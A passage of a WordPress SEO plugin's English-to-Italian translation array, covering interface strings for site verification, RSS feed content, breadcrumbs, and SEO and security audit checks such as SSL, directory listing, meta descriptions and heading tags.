%1$s.','Google Verification Code'=>'Codice di verifica Google','We recommend using the %1$sFree ExactMetrics%2$s plugin to get the most out of Google Analytics.'=>'Ti consigliamo di utilizzare il plugin gratuito %1$sExactMetrics%2$s per ottenere il massimo da Google Analytics.','We recommend using the %1$sFree MonsterInsights%2$s plugin to get the most out of Google Analytics.'=>'Ti consigliamo di utilizzare il plugin %1$sFree MonsterInsights%2$s per ottenere il massimo da Google Analytics.','Success!'=>'Successo!','Webmaster Tools Verification'=>'Verifica degli strumenti per webmaster','The code above will be added between the %1$s tags on every page on your website.'=>'Il codice qui sopra verrà aggiunto tra i tag %1$s in ogni pagina del tuo sito web.','Miscellaneous Verification'=>'Altre verifiche','Your user account role does not have access to edit this field. %1$s'=>'Il ruolo del tuo account utente non ha accesso alla modifica di questo campo. %1$s','Add content after each post in your site feed.'=>'Aggiungi contenuti dopo ogni articolo nel feed del tuo sito.','Add content before each post in your site feed.'=>'Aggiungi contenuti prima di ogni post nel feed del tuo sito.','RSS After Content'=>'RSS dopo il contenuto','RSS Before Content'=>'RSS prima del contenuto','Open Your RDF Feed'=>'Apri il tuo feed RDF','Learn more'=>'Ulteriori informazioni','This feature is used to automatically add content to your site\'s RSS feed. More specifically, it allows you to add links back to your blog and your blog posts so scrapers will automatically add these links too. This helps search engines identify you as the original source of the content.'=>'Questa funzione viene utilizzata per aggiungere automaticamente contenuti al feed RSS del tuo sito. In particolare, ti permette di aggiungere link al tuo blog e agli articoli del tuo blog, in modo che gli scraper aggiungano automaticamente anche questi link. Questo aiuta i motori di ricerca a identificarti come fonte originale dei contenuti.','Automatically add content to your site\'s RSS feed.'=>'Aggiungi automaticamente i contenuti al feed RSS del tuo sito.','Check this if you would like to remove ALL %1$s data upon plugin deletion. All settings and SEO data will be unrecoverable.'=>'Seleziona questa opzione se vuoi eliminare TUTTI i dati di %1$s al momento della disinstallazione del plugin. Non potrai più recuperare le impostazioni e i dati SEO.','Uninstall %1$s'=>'Disinstalla %1$s','Select which Taxonomies you want to use the %1$s columns with.'=>'Seleziona le tassonomie con cui vuoi usare le colonne di %1$s .','Taxonomy Columns'=>'Colonne della tassonomia','You will need to manually update everything.'=>'Dovrai aggiornare manualmente tutto.','You are getting bugfixes and security updates, but not major features.'=>'Riceverai correzioni di bug e aggiornamenti di sicurezza, ma non le funzioni principali.','Minor Only'=>'Solo minori','You are getting the latest features, bugfixes, and security updates as they are released.'=>'Ricevi le ultime funzionalità, le correzioni di bug e gli aggiornamenti di sicurezza non appena vengono rilasciati.','All (recommended)'=>'Tutti (consigliato)','Automatic Updates'=>'Aggiornamenti automatici','Announcements'=>'Comunicazioni','Dashboard Widgets'=>'Widget in bacheca','This adds %1$s to the admin toolbar for easy access to your SEO settings.'=>'Aggiunge %1$s alla barra degli strumenti di amministrazione, così puoi accedere facilmente alle impostazioni SEO.','Admin Bar Menu'=>'Menu della barra di admin','Usage Tracking'=>'Tracciamento dell\'utilizzo','Select which Post Types you want to use the %1$s columns with.'=>'Seleziona i post type con cui vuoi usare le colonne di %1$s .','Post Type Columns'=>'Colonne del post type','Enable our TruSEO score to help you optimize your content for maximum traffic.'=>'Attiva il nostro punteggio TruSEO che ti aiuta a ottimizzare i contenuti per ottenere il massimo del traffico.','TruSEO Score & Content'=>'Punteggio e contenuto TruSEO','Breadcrumb Templates'=>'Template per i breadcrumb','Category Name'=>'Nome categoria','search key word goes here'=>'qui compare la parola chiave di ricerca','Article Title'=>'Titolo dell\'articolo','Subcategory'=>'Sottocategoria','Home'=>'Home','Current Item'=>'Elemento attuale','404 Error Format'=>'Formato dell\'errore 404','Search Result Format'=>'Formato dei risultati della ricerca','Archive Format'=>'Formato archivio','Breadcrumb Prefix'=>'Prefisso dei breadcrumb','Homepage Link'=>'Link della homepage','Separator'=>'Separatore','Breadcrumb Settings'=>'Impostazioni breadcrumb','PHP Code'=>'Codice PHP','Gutenberg Block'=>'Blocco Gutenberg','Shortcode'=>'Shortcode','Show Breadcrumbs on Your Website'=>'Mostra i breadcrumb sul tuo sito web','Enable Breadcrumbs'=>'Abilita i breadcrumb','Use our configuration wizard to properly set up %1$s with your WordPress website.'=>'Utilizza la nostra configurazione guidata per impostare correttamente %1$s con il tuo sito web WordPress.','Setup Wizard'=>'Installazione guidata','License'=>'Licenza','We couldn\'t connect to the site, please try again later.'=>'Non siamo riusciti a connetterci al sito, riprova più tardi.','Preview'=>'Anteprima','Hide'=>'Nascondi','Show'=>'Mostra','Websites'=>'Siti web','Products & Entertainment'=>'Prodotti e intrattenimento','Places'=>'Luoghi','People'=>'Persone','Organizations'=>'Organizzazioni','Groups'=>'Gruppi','Businesses'=>'Aziende','Activities'=>'Attività','Advanced Rich Snippets + Schema Markups'=>'Rich Snippet avanzati + Markup Schema','Smart Redirects + 404 Detection'=>'Reindirizzamenti smart + rilevamento 404','Submit articles to Google News that were published in the last 48 hours.'=>'Invia a Google News gli articoli pubblicati nelle ultime 48 ore.','Tell Google about your business for display as a Knowledge Graph card or business carousel.'=>'Descrivi a Google la tua attività per farla comparire come scheda del Knowledge Graph o carosello aziendale.','Breadcrumbs'=>'Breadcrumb','Get the #1 analytics plugin to see how people find and use your website. Simply put, see stats that matter.'=>'Ottieni il plugin di statistiche numero uno sul mercato per capire come le persone trovano e poi usano il tuo sito web. Analizza le statistiche che contano davvero.','Get all the right tools to make sure your website shows up in Google Search.'=>'Ottieni tutti gli strumenti giusti per far sì che il tuo sito web compaia nei risultati della ricerca di Google.','Optimized Search Appearance'=>'Aspetto di ricerca ottimizzato','Sitemaps are a list of all your content that search engines use when they crawl your site.'=>'Le sitemap sono un elenco di tutti i tuoi contenuti che i motori di ricerca utilizzano quando effettuano il crawling del tuo sito.','Manually Enter Type'=>'Inserisci manualmente il tipo','archive'=>'archivia','Sample short description for your product.'=>'Esempio di descrizione breve del tuo prodotto.','A short description for your product.'=>'Una breve descrizione del tuo prodotto.','Product Short Description'=>'Descrizione breve del prodotto','Search for an item...'=>'Cerca un elemento...','Enter a page URL, e.g. %1$s'=>'Inserisci l\'URL di una pagina, ad es. %1$s','Type'=>'Tipo','ID'=>'ID','Click to Copy'=>'Fai clic per copiare','Upgrade Your Plan'=>'Aggiorna il tuo piano','Edit Your Meta Description'=>'Modifica la tua meta descrizione','The description should stimulate reader interest and get them to click on the article. Think of it as a mini-advertisement for your content.'=>'La descrizione deve stimolare l\'interesse di chi legge e invogliare a fare clic sull\'articolo. Considerala come una mini-pubblicità per il tuo contenuto.','Write a meta description for your page. Use your target keywords (in a natural way) and write with human readers in mind. Summarize the content - describe the topics your article discusses.'=>'Scrivi una meta descrizione per la tua pagina. Usa le tue parole chiave (in modo naturale) e scrivi tenendo a mente le persone che leggeranno. Riassumi il contenuto e descrivi brevemente gli argomenti trattati nel tuo articolo.','The meta description is set and is %1$d characters long.'=>'La meta descrizione è impostata e ha una lunghezza di %1$d caratteri.','Your meta description is set and is %1$d characters long.'=>'La tua meta descrizione è impostata e ha una lunghezza di %1$d caratteri.','The meta description is %1$d characters long, which is too long.'=>'La meta descrizione è lunga %1$d caratteri, quindi troppo lunga.','Your meta description is %1$d characters long, which is too long.'=>'La tua meta descrizione è lunga %1$d caratteri, quindi troppo lunga.','The meta description is only %1$d characters long, which is too short.'=>'La meta descrizione è lunga solo %1$d caratteri, quindi troppo corta.','Your meta description is only %1$d characters long, which is too short.'=>'La tua meta descrizione è lunga solo %1$d caratteri, quindi troppo corta.','No meta description was found for the page.'=>'Non è stata trovata alcuna meta descrizione per la pagina.','No meta description was found for your page.'=>'Non è stata trovata alcuna meta descrizione per la tua pagina.','If you aren\'t using an SSL certificate for your site that means you are losing a lot of potential traffic. We recommend getting an SSL certificate installed immediately.'=>'Se non stai usando un certificato SSL per il tuo sito, significa che stai perdendo molto traffico potenziale. Ti consigliamo di installare immediatamente un certificato SSL.','The site is using a secure transfer protocol (https).'=>'Il sito usa un protocollo di trasferimento sicuro (https).','Your site is using a secure transfer protocol (https).'=>'Il tuo sito usa un protocollo di trasferimento sicuro (https).','The site is not using a secure transfer protocol (https).'=>'Il sito non usa un protocollo di trasferimento sicuro (https).','Your site is not using a secure transfer protocol (https).'=>'Il tuo sito non usa un protocollo di trasferimento sicuro (https).','Google Safe browsing shows warnings and alerts to users if they visit a suspicious website. If you are flagged by Google Safe Browsing, you should take immediate steps to fix that.'=>'Google Safe Browsing mostra avvisi e segnalazioni agli utenti che visitano un sito web sospetto. Se Google Safe Browsing ha segnalato il tuo sito, devi prendere immediatamente provvedimenti per risolvere il problema.','Google has not flagged this site for malware.'=>'Google non ha segnalato questo sito come malware.','Google has not flagged your site for malware!'=>'Google non ha segnalato il tuo sito come malware!','It looks like this site has been added to one of Google\'s malwares lists.'=>'Sembra che questo sito sia stato aggiunto a una delle liste di malware di Google.','It looks like your site has been added to one of Google\'s malwares lists.'=>'Sembra che il tuo sito sia stato aggiunto a una delle liste di malware di Google.','Alternatively, you can create an empty index.php file and save it in every directory on your site. That\'s an approach that WordPress uses and it works well.'=>'In alternativa, puoi creare un file index.php vuoto e salvarlo in ogni directory del tuo sito. Questo è un approccio utilizzato da WordPress e funziona bene.','Fortunately, every popular web server has options to prevent directory listings. They\'ll show a "403 forbidden" message instead.'=>'Tutti i server web più popolari includono opzioni per impedire l\'elenco di directory. Al suo posto mostreranno invece un messaggio "403 forbidden".','Directory Listing seems to be disabled on the server.'=>'L\'elenco di directory sembra essere disabilitato sul server.','Directory Listing seems to be disabled on your server.'=>'L\'elenco di directory sembra essere disabilitato sul tuo server.','Directory Listing seems to be enabled on the server.'=>'L\'elenco di directory sembra essere abilitato sul server.','Edit Your Page Title'=>'Modifica il titolo della pagina','Directory Listing seems to be enabled on your server.'=>'L\'elenco di directory sembra essere abilitato sul tuo server.','It\'s a great idea to try and hide the theme you have visible. From time to time vulnerabilities are found in themes and if your site is not updated in a timely fashion, outdated plugins and themes can be exploited.'=>'Nascondere il tema visibile sul tuo sito è un\'ottima idea Di tanto in tanto vengono scoperte vulnerabilità nei temi e se il tuo sito non viene aggiornato tempestivamente, i plugin e i temi obsoleti possono diventare un canale di accesso per gli hacker.','Writing compelling titles is both a science and an art. There are automated tools that can analyze your title against known metrics for readability and click-worthiness. You also need to understand the psychology of your target audience.'=>'Scrivere titoli convincenti è sia una scienza che un\'arte. Esistono strumenti automatizzati in grado di analizzare il tuo titolo in base a parametri noti di leggibilità e di clic. Devi anche comprendere la psicologia del tuo pubblico di riferimento.','Ensure your page\'s title includes your target keywords, and design it to encourage users to click.'=>'Assicurati che il titolo della tua pagina includa le parole chiave che ti interessano e progettalo in modo da incoraggiare gli utenti a fare clic.','The theme is not visible.'=>'Il tema non è visibile.','Your theme is not visible!'=>'Il tuo tema non è visibile!','Anyone can see that they are using the %1$s theme.'=>'Chiunque può vedere che stanno usando il tema %1$s.','Anyone can see that you are using the %1$s theme.'=>'Chiunque può vedere che stai usando il tema %1$s.','It\'s a great idea to try and hide the plugins you have visible. From time to time vulnerabilities are found in plugins and if your site is not updated in a timely fashion, outdated plugins and themes can be exploited.'=>'Nascondere i plugin visibili sul tuo sito è un\'ottima idea. Di tanto in tanto vengono scoperte vulnerabilità nei plugin e se il tuo sito non viene aggiornato tempestivamente, i plugin e i temi obsoleti possono diventare un canale di accesso per gli hacker.','There are no visible plugins.'=>'Non ci sono plugin visibili.','You have no visible plugins!'=>'Non hai plugin visibili!','Plugins from the website are publicly visible.'=>'I plugin del sito web sono visibili pubblicamente.','Plugins from your website are publicly visible.'=>'I plugin del tuo sito web sono visibili pubblicamente.','You can get an even greater boost in speed with a content delivery network service. These services host a copy of your content on multiple servers spread out across the globe. A user\'s request is handled by the edge server that\'s closest to their physical location, so the content arrives incredibly fast.'=>'Puoi ottenere una velocità ancora maggiore con un servizio di Content Delivery Network (CDN). Questi servizi ospitano una copia dei tuoi contenuti su più server sparsi in tutto il mondo. La richiesta di un utente viene gestita dall\'edge server più vicino alla sua posizione fisica, in modo che il contenuto arrivi in modo molto veloce.','If you want to continue to improve your response time, the simplest and fastest fix is to use a caching plugin. Caching plugins keep a cached version of each page on your site. Instead of building the page from scratch, the server will send the cached copy.'=>'Se vuoi continuare a migliorare i tempi di risposta, la soluzione più semplice e veloce è un plugin di caching. I plugin di caching mantengono una versione in cache di ogni pagina del tuo sito. Invece di creare la pagina da zero, il server invia la copia in cache.','The response time is under 0.2 seconds.'=>'Il tempo di risposta è inferiore a 0,2 secondi.','Your response time is under 0.2 seconds.'=>'Il tempo di risposta è inferiore a 0,2 secondi.','The response time of the page is %1$f seconds. It is recommended to keep it equal to or below 0.2 seconds.'=>'Il tempo di risposta della pagina è %1$f secondi. Si consiglia di mantenerlo uguale o inferiore a 0,2 secondi.','The response time of your page is %1$f seconds. It is recommended to keep it equal to or below 0.2 seconds.'=>'Il tempo di risposta della tua pagina è %1$f secondi. Si consiglia di mantenerlo uguale o inferiore a 0,2 secondi.','The SEO title is set and is %1$d characters long.'=>'Il titolo SEO è impostato e ha una lunghezza di %1$d caratteri.','Removing white space can also have an impact on your HTML page\'s size. White space characters like carriage returns and tabs are ignored by the browser, but they make the markup easier for developers to read. So you should always strip them from your templates or themes before you use them in a production environment.'=>'Anche la rimozione degli spazi vuoti può avere un impatto sulle dimensioni della pagina HTML. Gli spazi vuoti, come gli a capo e le tabulazioni, vengono ignorati dal browser, ma rendono il markup più facile da leggere per chi sviluppa. Per questo motivo dovresti sempre rimuoverli dai tuoi template o temi prima di usarli in un ambiente di produzione.','You can reduce CSS repetition with HTML class and ID attributes. Often the same rules will be repeated across many page elements, embedded in each tag\'s "style" attribute. You can extract them into a single "style" tag and use classes and ID\'s to target each element.'=>'Puoi ridurre la ripetizione dei CSS con gli attributi classe e ID HTML. Spesso le stesse regole vengono ripetute in molti elementi della pagina, incorporate nell\'attributo "style" di ogni tag. Puoi estrarre le regole in un unico tag "style" e usare le classi e gli ID per indirizzare ogni elemento.','Sometimes inline CSS is a culprit. A little inline CSS can help your page render faster. Too much will bloat the HTML file and increase the page loading time.'=>'A volte il CSS inline è un colpevole. Un po\' di CSS inline può aiutare la tua pagina a renderizzare più velocemente. Troppo codice aumenterà le dimensioni del file HTML e aumenterà il tempo di caricamento della pagina.','In order to reduce page size, remove any unnecessary tags from your markup. This includes developer comments, which are invisible to your users - search engines ignore the text in comments, too.'=>'Per ridurre le dimensioni della pagina, rimuovi tutti i tag non necessari dal tuo markup tra cui anche i commenti di sviluppo, che sono invisibili agli utenti. Anche i motori di ricerca ignorano il testo dei commenti.','This is under the average of 33 KB.'=>'Si tratta di un valore inferiore alla media di 33 KB.','This is over our recommendation of 50 KB.'=>'Questo supera la nostra raccomandazione di 50 KB.','The size of the HTML document is %1$d KB.'=>'La dimensione del documento HTML è di %1$d KB.','Your SEO title is set and is %1$d characters long.'=>'Il tuo titolo SEO è impostato e ha una lunghezza di %1$d caratteri.','Try to replace embedded objects with HTML5 alternatives.'=>'Cerca di sostituire gli oggetti incorporati con alternative in HTML5.','CSS:'=>'CSS:','JavaScript:'=>'JavaScript:','Images:'=>'Immagini:','More than 20 requests can result in slow page loading.'=>'Più di 20 richieste possono rallentare il caricamento della pagina.','The page makes %1$d requests.'=>'La pagina invia %1$d richieste.','Your page makes %1$d requests.'=>'La tua pagina sta inviando %1$d richieste.','There are server-side tools (including WordPress plugins) to automatically minify CSS files.'=>'Esistono strumenti lato server (compresi i plugin di WordPress) per minificare automaticamente i file CSS.','We recommend tracking down where the un-minified CSS files come from.'=>'Ti consigliamo di scoprire da dove vengono i file CSS non minificati.','CSS files appear in many places, including frameworks (like Bootstrap), themes and templates, and third-party plugins.'=>'I file CSS si trovano da molte parti, tra cui framework (come Bootstrap), temi, template e plugin di terze parti.','All CSS files appear to be minified.'=>'Tutti i file CSS sembrano essere minificati.','Some CSS files don\'t seem to be minified.'=>'Alcuni file CSS non sembrano essere minificati.','There are server-side tools (including WordPress plugins) to automatically minify JavaScript files.'=>'Esistono strumenti lato server (compresi i plugin di WordPress) per minificare automaticamente i file JavaScript.','We recommend tracking down where the un-minified JavaScript files come from'=>'Ti consigliamo di scoprire da dove provengono i file JavaScript non minificati.','JavaScript files appear in many places, including frameworks (like Bootstrap), themes and templates, and third-party plugins.'=>'I file JavaScript compaiono in molti posti, tra cui framework (come Bootstrap), temi, template e plugin di terze parti.','The SEO title is %1$d characters long, which is too long.'=>'Il titolo SEO è lungo %1$d caratteri, quindi troppo lungo.','All Javascript files appear to be minified.'=>'Tutti i file Javascript sembrano essere minificati.','Some Javascript files don\'t seem to be minified.'=>'Alcuni file Javascript non sembrano essere minificati.','Alternatively, you can use a CMS plugin to simplify the process - it\'s a more user-friendly option. WordPress has a host of caching plugins, and most of them give you options to control the caching headers.'=>'In alternativa, puoi usare un plugin CMS per semplificare il processo: è un\'opzione più facile da usare. WordPress dispone di una serie di plugin per il caching e la maggior parte di essi offre la possibilità di controllare gli header di caching.','If you use the Apache or NGINX web servers, you can edit the configuration files to set the "expires" header for all image files. For Apache, you can also use a ".htaccess" file to change the settings for each folder.'=>'Se usi i server web Apache o NGINX, puoi modificare i file di configurazione per impostare l\'header "expires" per tutti i file immagine. Su Apache, puoi anche usare un file ".htaccess" per modificare le impostazioni di ogni cartella.','The server is using "expires" headers for the images.'=>'Il server usa gli header "expires" per le immagini.','Your server is using "expires" headers for your images.'=>'Il tuo server usa gli header "expires" per le tue immagini.','Your SEO title is %1$d characters long, which is too long.'=>'Il tuo titolo SEO è lungo %1$d caratteri, quindi troppo lungo.','The server is not using "expires" headers for the images.'=>'Il server non usa gli header "expires" per le immagini.','Your server is not using "expires" headers for your images.'=>'Il tuo server non usa gli header "expires" per le tue immagini.','Edit Your Page'=>'Modifica la tua pagina','%1$s makes it extremely easy to add highly relevant Schema.org markup to your site. It has a simple graphical interface, so you don\'t have to get your hands dirty with complex HTML markup.'=>'%1$s facilita l\'aggiunta dei markup Schema.org più rilevanti per il tuo sito. Ha un\'interfaccia grafica semplice, quindi non dovrai arrovellarti sul complesso markup HTML.','We found Schema.org data on the page.'=>'Abbiamo trovato i dati di Schema.org nella pagina.','We found Schema.org data on your page.'=>'Abbiamo trovato dati Schema.org nella tua pagina.','No Schema.org data was found on the page.'=>'Non sono stati trovati dati Schema.org nella pagina.','No Schema.org data was found on your page.'=>'Non sono stati trovati dati Schema.org nella tua pagina.','%1$s provides a simple but powerful interface to craft your Open Graph data. You get immediate feedback with an interactive preview, and you don\'t have to mess around with raw HTML markup.'=>'%1$s offre un\'interfaccia semplice ma potente per creare i tuoi dati Open Graph. Trovi riscontro immediato grazie all\'anteprima interattiva e non devi smanettare con il markup HTML grezzo.','Insert a customized Open Graph meta tag for each important page on your site. The standard is very well documented - you can learn more from Facebook\'s developer pages.'=>'Inserisci un meta tag Open Graph personalizzato per ogni pagina importante del tuo sito. Lo standard è molto ben documentato: puoi trovare maggiori informazioni sulle pagine di Facebook for Developers.','The SEO title is only %1$d characters long, which is too short.'=>'Il titolo SEO è lungo solo %1$d caratteri, quindi troppo corto.','All the required Open Graph meta tags have been found.'=>'Sono stati trovati tutti i meta tag Open Graph richiesti.','Duplicate Open Graph meta tags were found.'=>'Alcuni meta tag Open Graph sono duplicati.','Some Open Graph meta tags are missing.'=>'Mancano alcuni meta tag Open Graph.','%1$s has a full suite of tools to manage the robots.txt file, along with other related technologies, like XML Sitemaps.'=>'%1$s include una suite completa di strumenti per gestire il file robots.txt e altre tecnologie correlate, come le sitemap XML.','You can manually create a robots.txt file and upload it to your site\'s web root. A simpler option is to use a plugin for your CMS platform.'=>'Puoi creare manualmente un file robots.txt e caricarlo nella root del tuo sito. Un\'opzione più semplice è quella di utilizzare un plugin per la tua piattaforma CMS.','Make sure that you only block parts you don\'t want to be indexed.'=>'Assicurati di bloccare solo le parti che non vuoi che vengano indicizzate.','Your SEO title is only %1$d characters long, which is too short.'=>'Il tuo titolo SEO è lungo solo %1$d caratteri, quindi troppo corto.','The site has a robots.txt file.'=>'Il sito ha un file robots.txt.','Your site has a robots.txt file.'=>'Il tuo sito ha un file robots.txt.','The site has a robots.txt file which includes one or more "disallow" directives.'=>'Il sito ha un file robots.txt che include una o più direttive "disallow".','Your site has a robots.txt file which includes one or more "disallow" directives.'=>'Il tuo sito ha un file robots.txt che include una o più direttive "disallow".','The robots.txt file is missing or unavailable.'=>'Il file robots.txt è mancante o non disponibile.','Your robots.txt file is missing or unavailable.'=>'Il tuo file robots.txt è mancante o non disponibile.','We couldn\'t find an SEO Title.'=>'Non siamo riusciti a trovare un titolo SEO.','You should use HTTP redirections (301 permanant redirects) to pass PageRank from the "wrong" URLs to the standard (canonical) ones. That way, your content will still benefit from backlinks if someone makes a mistake and uses the wrong URL.'=>'Dovresti utilizzare i reindirizzamenti HTTP (reindirizzamenti permanenti 301) per passare il PageRank dagli URL "sbagliati" a quelli standard (canonici). In questo modo, il tuo contenuto continuerà a beneficiare dei backlink se qualcuno sbaglia e usa l\'URL sbagliato.','Decide whether you want your site\'s URLs to include a "www", or if you prefer a plain domain name. There are marketing pros and cons for each choice, but neither one is better or worse for SEO purposes - as long as you\'re consistent.'=>'Decidi se vuoi che gli URL del tuo sito includano un "www" o se preferisci indicare solo il nome di dominio. Ci sono pro e contro in entrambe le opzioni, ma nessuna delle due è migliore o peggiore ai fini della SEO, a patto che porti avanti la scelta in modo coerente.','Both the www and non-www versions of the URL are redirected to the same site.'=>'Sia la versione www che quella non www dell\'URL vengono reindirizzate allo stesso sito.','Both the www and non-www versions of your URL are redirected to the same site.'=>'Sia la versione www che quella non www del tuo URL vengono reindirizzate allo stesso sito.','The www and non-www versions of the URL are not redirected to the same site.'=>'Le versioni www e non www dell\'URL non vengono reindirizzate allo stesso sito.','The www and non-www versions of your URL are not redirected to the same site.'=>'Le versioni www e non www del tuo URL non vengono reindirizzate allo stesso sito.','Only ever use noindex meta tag or header on pages you want to keep out of the reach of search engines!'=>'Usa il meta tag o l\'header noindex solo per le pagine che vuoi tenere fuori dalla portata dei motori di ricerca!','The page does not contain any noindex header or meta tag.'=>'La pagina non contiene alcun header o meta tag noindex.','Your page does not contain any noindex header or meta tag.'=>'La tua pagina non contiene alcun header o meta tag noindex.','The page contains a noindex header or meta tag.'=>'La pagina contiene un header o un meta tag noindex.','Your page contains a noindex header or meta tag.'=>'La tua pagina contiene un\'intestazione o un meta tag noindex.','If you\'ve republished an article from another source (such as another site or a different section of your own site) then you need to pick which URL is the "correct" one and use that!'=>'Se hai ripubblicato un articolo da un\'altra fonte (come un altro sito o una sezione diversa del tuo sito), allora devi scegliere l\'URL "corretto" e usare quello!','Every page on your site should have a <link> tag with a \'rel="canonical"\' attribute. The link tag should go inside the page\'s head tag, and it should contain the page\'s "correct" URL.'=>'Ogni pagina del tuo sito dovrebbe avere un tag <link> con l\'attributo "rel="canonical"". Il tag link deve trovarsi all\'interno del tag head della pagina e deve contenere l\'URL "corretto" della pagina.','The page is using the canonical link tag.'=>'La pagina sta utilizzando il tag link canonico.','Your page is using the canonical link tag.'=>'La tua pagina usa il tag di link canonico.','No canonical link tag found on the page.'=>'Non è stato trovato alcun tag di collegamento canonico nella pagina.','No canonical link tag found on your page.'=>'Non è stato trovato alcun tag di collegamento canonico nella tua pagina.','External:'=>'Esterno:','Internal:'=>'Interni:','The page has a correct number of internal and external links.'=>'La pagina ha un numero corretto di link interni ed esterni.','Your page has a correct number of internal and external links.'=>'La tua pagina ha un numero corretto di link interni ed esterni.','The ratio of internal links to external links is uneven.'=>'Il rapporto tra i link interni ed esterni non è equilibrato.','Too few internal links on the page.'=>'Troppi pochi link interni nella pagina.','Too few internal links on your page.'=>'Troppi pochi link interni nella pagina.','No internal links were found on the page.'=>'Non sono stati trovati collegamenti interni alla pagina.','No internal links were found on your page.'=>'Non sono stati trovati collegamenti interni alla tua pagina.','Make sure every image has an alt tag, and add useful descriptions to each image. Add your keywords or synonyms - but do it in a natural way.'=>'Assicurati che ogni immagine abbia un tag alt e una descrizione utile. Aggiungi nella descrizione le tue parole chiave o dei sinonimi, ma fallo in modo che suoni naturale.','All images on the page have alt attributes.'=>'Tutte le immagini della pagina hanno attributi alt.','All images on your page have alt attributes.'=>'Tutte le immagini della tua pagina hanno attributi alt.','Some images on the page have no alt attribute.'=>'Alcune immagini della pagina non hanno l\'attributo alt.','Some images on your page have no alt attribute.'=>'Alcune immagini della tua pagina non hanno l\'attributo alt.','Don\'t try to force keywords into sub-headings if they feel unnatural. It will send the wrong message to your readers, possibly driving them away.'=>'Non cercare di forzare le parole chiave nei sottotitoli se non suonano naturali in quel contesto. Se lo fai, mandi un messaggio sbagliato a chi ti legge e potresti allontanarli.','It should be easy to include your main and supporting keywords in the H2 tags - after all, these keywords describe your content! If it\'s hard to work the keywords into your subheadings, it could be a sign that the keywords aren\'t closely related to your content.'=>'Includere le parole chiave principali e di supporto nei tag H2 dovrebbe essere un compito facile. Dopo tutto, queste parole chiave sono proprio quelle che descrivono il tuo contenuto! Se stai avendo problemi a inserire le parole chiave nei sottotitoli, forse quelle che hai scelto non sono strettamente correlate al tuo contenuto.','Also, try to include synonyms and relevant terminology in H2 tag text. Search engines are pretty smart - they know which words usually occur together in each niche.'=>'Inoltre, cerca di includere sinonimi e terminologia pertinente nel testo del tag H2. I motori di ricerca sono piuttosto intelligenti: sanno quali parole si presentano più frequentemente insieme in ogni nicchia tematica.','Make sure you have a good balance of H2 tags to plain text in your content. Break the content down into logical sections, and use headings to introduce each new topic.'=>'Assicurati di avere un buon equilibrio tra tag H2 e testo semplice nei tuoi contenuti. Suddividi il contenuto in sezioni logiche e usa i titoli per introdurre ogni nuovo argomento.','H2 tags were found on the page.'=>'Sono stati trovati tag H2 nella pagina.','H2 tags were found on your page.'=>'Sono stati trovati dei tag H2 nella tua pagina.','No H2 tags were found on the page.'=>'Non sono stati trovati tag H2 nella pagina.','No H2 tags were found on your page.'=>'Non sono stati trovati tag H2 nella tua pagina.','You should write as if your readers are selfish people with short attention spans (because that describes a large percentage of the world\'s population). Readers visit websites for selfish reasons - they\'re not there to make you happy.'=>'Dovresti scrivere pensando che ti leggono persone distratte con tempi di attenzione ridotti (cosa che descrive una grande percentuale della popolazione mondiale). Le persone arrivano sui siti web per motivi egoistici, non per far felice te.','A good headline stimulates reader interest and offers a compelling reason to read your content. It promises a believable benefit.'=>'Un buon titolo stimola l\'interesse del pubblico e lo convince a leggere il resto del tuo contenuto. Promette un vantaggio reale.','Because your headline plays a large role in reader engagement, it\'s worth spending extra time perfecting it. Many top copywriters spend hours getting their headlines just right - sometimes they spend longer on the headline than the rest of the article!'=>'Poiché il titolo gioca un ruolo importante nel coinvolgimento del tuo pubblico, vale la pena dedicare del tempo a perfezionarlo. Molti copywriter esperti passano ore a perfezionare i loro titoli: a volte dedicano più tempo al titolo che al resto dell\'articolo!','Ensure your most important keywords appear in the H1 tag - don\'t force it, use them in a natural way that makes sense to human readers.'=>'Assicurati che le tue parole chiave più importanti compaiano nel tag H1: non forzarle, fai in modo che suonino naturali per chi ti legge.','WordPress sites usually insert the page or post title as an H1 tag (although custom themes can change this behavior).'=>'I siti WordPress solitamente inseriscono il titolo della pagina o dell\'articolo come tag H1 (anche se i temi personalizzati possono modificare questo comportamento).','One H1 tag was found on the page.'=>'È stato trovato un tag H1 nella pagina.','One H1 tag was found on your page.'=>'È stato trovato un tag H1 nella tua pagina.','%1$d H1 tags were found.'=>'Sono stati trovati %1$d tag H1.','For the best user experience there should be exactly one H1 tag on each page.'=>'Per una migliore esperienza utente dovrebbe esserci esattamente un tag H1 su ogni pagina.','No H1 tag was found.'=>'Non è stato trovato alcun tag H1.','Save Changes'=>'Salva le modifiche','View all tags'=>'Visualizza tutti i tag','Click on the tags below to insert variables into your template.'=>'Fai clic sui tag sottostanti per inserire le variabili nel tuo template.','Submit a Support Ticket'=>'Invia un ticket di supporto','Submit a ticket and our world class support team will be in touch soon.'=>'Invia un ticket e il nostro eccezionale team di supporto si metterà presto in contatto con te.','Get Support'=>'Ottieni supporto','View All Documentation'=>'Visualizza tutta la documentazione','Browse documentation, reference material, and tutorials for %1$s.'=>'Sfoglia la documentazione, il materiale di riferimento e i tutorial di %1$s.','View Documentation'=>'Vedi la documentazione','Docs'=>'Docs','View All'=>'Visualizza tutto','Search'=>'Cerca','Close'=>'Chiudi','Read the Setup Guide'=>'Leggi la guida all\'installazione','Launch the Setup Wizard'=>'Avvia la configurazione guidata','Thank you for choosing the best WordPress SEO plugin. %1$s default settings works great out of the box. We created the setup wizard to guide you through some important configuration settings & custom-tailored SEO best practices for your site to help you improve rankings.'=>'Grazie per aver scelto il miglior plugin SEO per WordPress. %1$s funziona alla perfezione già con le impostazioni predefinite. La nostra procedura guidata ti mostra alcune importanti impostazioni di configurazione e le personalizzazioni SEO su misura che aiutano il tuo sito a ottenere un miglior posizionamento.','How to Get Started'=>'Come iniziare','Mobile Snapshot'=>'Istantanea mobile','Read the Ultimate WordPress SEO Guide'=>'Leggi la Guida definitiva alla SEO di WordPress','For best results, you should strive for %1$d and above.'=>'Per ottenere risultati ottimali, dovresti puntare a %1$d o superiore.','A very good score is between %1$d and %2$d.'=>'Un punteggio è ottimo quando è compreso tra %1$d e %2$d.','Your Overall Site Score'=>'Il punteggio complessivo del tuo sito','Security'=>'Sicurezza','Advanced SEO'=>'SEO avanzata','Basic SEO'=>'SEO di base','No Follow Paginated'=>'No Follow Paginato','No Index Paginated'=>'No Index Paginato','No ODP'=>'Nessun ODP','No Snippet'=>'Nessun snippet','No Image Index'=>'No Image Index','No Translate'=>'No Translate','No Archive'=>'Nessun archivio','No Follow'=>'No Follow','No Index'=>'No Index','Large'=>'Grande','Standard'=>'Standard','Max Image Preview'=>'Dim. max anteprima immagine','Max Video Preview'=>'Dim. max anteprima video','Max 